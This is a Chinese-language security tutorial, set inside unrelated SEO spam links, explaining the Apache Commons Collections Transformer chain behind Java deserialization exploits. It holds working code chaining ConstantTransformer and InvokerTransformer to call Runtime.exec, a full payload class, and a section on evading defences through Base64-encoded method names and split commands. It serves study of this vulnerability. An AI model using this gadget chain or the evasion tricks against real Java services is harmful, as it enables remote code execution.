当前位置: 首页 > wzjs >正文

网站页面热度产品推广计划方案模板

网站页面热度,产品推广计划方案模板,做兼职哪个网站可靠,做黄网站赚钱吗Transformer链是CC反序列化漏洞的"执行引擎",本文聚焦Transformer链的核心原理和实现机制,为后续完整利用链分析奠定基础。 一、Java命令执行与序列化限制 1.1 常规命令执行方式 Java中执行系统命令的标准方法是通过Runtime类: …

Transformer链是CC反序列化漏洞的"执行引擎",本文聚焦Transformer链的核心原理和实现机制,为后续完整利用链分析奠定基础。


一、Java命令执行与序列化限制

1.1 常规命令执行方式

Java中执行系统命令的标准方法是通过Runtime类:

Runtime.getRuntime().exec("calc.exe");
1.2 序列化的致命限制

Runtime类未实现Serializable接口:

public class Runtime {// 未实现Serializable接口private static Runtime currentRuntime = new Runtime();// ...
}

关键问题:反序列化时无法直接构造Runtime实例执行命令。


二、反射突破序列化限制

通过反射机制可间接调用Runtime:

Class<?> runtimeClass = Class.forName("java.lang.Runtime");
Method getRuntime = runtimeClass.getMethod("getRuntime");
Object runtime = getRuntime.invoke(null);
Method exec = runtimeClass.getMethod("exec", String.class);
exec.invoke(runtime, "calc.exe");

在这里插入图片描述

优势:涉及的所有类(Class、Method)都实现了Serializable接口。


三、Transformer链核心组件

3.1 InvokerTransformer:反射执行引擎
public class InvokerTransformer implements Transformer, Serializable {private final String iMethodName;private final Class[] iParamTypes;private final Object[] iArgs;public Object transform(Object input) {if (input == null) return null;try {Class cls = input.getClass();Method method = cls.getMethod(iMethodName, iParamTypes);return method.invoke(input, iArgs);} catch (Exception e) {throw new FunctorException(...);}}
}
3.2 ConstantTransformer:常量提供器
public class ConstantTransformer implements Transformer, Serializable {private final Object iConstant;public static Transformer getInstance(Object constantToReturn) {return (Transformer)(constantToReturn == null ? NULL_INSTANCE : new ConstantTransformer(constantToReturn));}public Object transform(Object input) {return this.iConstant;// 无视输入,始终返回固定值}}

核心价值:为调用链提供初始对象(如Runtime.class)。

3.3 ChainedTransformer:链式执行器
public class ChainedTransformer implements Transformer, Serializable {private final Transformer[] iTransformers;public Object transform(Object object) {for(int i = 0; i < this.iTransformers.length; ++i) {object = this.iTransformers[i].transform(object);}return object;}
}

链式调用原理

输出1 = 组件1.transform(输入)
输出2 = 组件2.transform(输出1)
...
最终结果 = 组件N.transform(输出N-1)

四、完整Transformer链构造

4.1 分步拆解命令执行
// 1. 获取Runtime.class对象
Object step1 = Runtime.class;// 2. 获取getRuntime方法
Method step2 = step1.getClass().getMethod("getRuntime");// 3. 调用getRuntime()获取Runtime实例
Runtime step3 = (Runtime) step2.invoke(null);// 4. 执行exec方法
step3.exec("calc.exe");
4.2 转换为Transformer实现
Transformer[] chain = new Transformer[]{// 步骤1:获取Runtime.classnew ConstantTransformer(Runtime.class),// 步骤2:反射调用getMethod("getRuntime")new InvokerTransformer("getMethod",new Class[]{String.class, Class[].class},new Object[]{"getRuntime", new Class[0]}),// 步骤3:反射调用invoke(null)new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{null, new Object[0]}),// 步骤4:调用exec("calc.exe")new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc.exe"})
};
4.3 链式执行
public class TransformerDemo {public static void main(String[] args) {ChainedTransformer chain = new ChainedTransformer(transformers);chain.transform(null); // 触发命令执行}
}
4.4 调用链
  Gadget chain:ChainedTransformer.transform()ConstantTransformer.transform()InvokerTransformer.transform()Method.invoke()Class.getMethod()InvokerTransformer.transform()Method.invoke()Runtime.getRuntime()InvokerTransformer.transform()Method.invoke()Runtime.exec()

五、关键技术点解析

5.1 反射执行优势
  • 绕过Runtime的序列化限制
  • 方法调用通过字符串传递,可动态构造
  • 参数类型完全可控
5.2 类型转换处理
// 自动处理类型转换
Object runtime = method.invoke(...); // 返回Object类型
// 下一级Transformer自动接收Object类型输入
5.3 空输入处理
chain.transform(null); 
// ConstantTransformer无视输入,返回Runtime.class
// 后续组件基于前一步输出执行

六、防御规避技巧

6.1 方法名混淆
// 使用Base64编码方法名
String method = new String(Base64.getDecoder().decode("Z2V0UnVudGltZQ=="));
new InvokerTransformer(method, ...);
6.2 命令混淆
// 拆分命令+拼接执行
new InvokerTransformer("exec", new Class[]{String[].class},new Object[]{new String[]{"cmd", "/c", "calc.exe"}}
);
6.3 多态加载
// 通过ClassLoader动态加载
Class cls = Class.forName("java.lang." + "Runtime", true, Thread.currentThread().getContextClassLoader()
);

七、完整Payload示例

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.*;
import java.lang.reflect.Method;public class FullTransformerChain {public static void main(String[] args) throws Exception {// 构造Transformer链Transformer[] transformers = new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})};// 链式执行ChainedTransformer chain = new ChainedTransformer(transformers);chain.transform(null);}
}

在这里插入图片描述
执行效果:成功弹出计算器程序


八、总结

8.1 核心技术总结
组件作用关键特性
InvokerTransformer反射执行任意方法方法名/参数类型动态指定
ConstantTransformer提供初始对象无视输入,返回固定值
ChainedTransformer链式调用Transformer前序输出作为后续输入
8.2 当前局限
  • 需主动调用transform():反序列化不会自动触发
  • 无隐蔽性:直接包含Runtime等敏感类名
http://www.dtcms.com/wzjs/42549.html

相关文章:

  • 如何为公司做网站电商关键词一般用哪些工具
  • _x wordpress搜索引擎优化行业
  • 网站做微信支付宝支付接口百度一下首页设为主页
  • 东营利津网站建设南宁最新消息今天
  • 青浦区网站建设公司2024年度关键词
  • 快速微信网站设计seo关键词怎么优化
  • 网站品牌形象设计怎么做微信营销软件群发
  • phpcms企业网站源码推广目标怎么写
  • 注册一个投资公司需要多少钱整站优化提升排名
  • 手机端网站开发语言网页制作成品模板网站
  • vr模式的网站建设公司b站视频未能成功转码
  • 免费做代理的项目郑州网站优化seo
  • 吉林省建筑市场监管公共服务平台石家庄seo全网营销
  • 怎么可以自己做网站被百度收到凤凰网全国疫情实时动态
  • 亚马逊网站开发者平台企业seo顾问服务阿亮
  • 手机版网站案例广州做网站的公司哪家好
  • 长沙企业网站开发微联讯点南昌企业网站建设
  • wordpress所见即所得编辑器佛山seo整站优化
  • bootstrap做购物网站广州百度seo优化排名
  • 做网站需要什么配置服务器成都百度推广联系方式
  • 网站建设与管理案例教程第三版答案网店营销策划方案ppt
  • 起诉网站服务平台搜索引擎优化培训班
  • 512m内存做网站免费发广告的网站大全
  • 比较好的做外贸网站河南自助建站seo公司
  • 做兽设的网站网站查询域名解析
  • 买网站需要多少钱网站排名点击工具
  • 商城网站制作公司seo网站推广方式
  • 给人做赌博网站犯法嘛百中搜优化软件
  • 深圳网站建设合同范本推广渠道有哪些平台
  • 保定市网站制作公司企业培训课程清单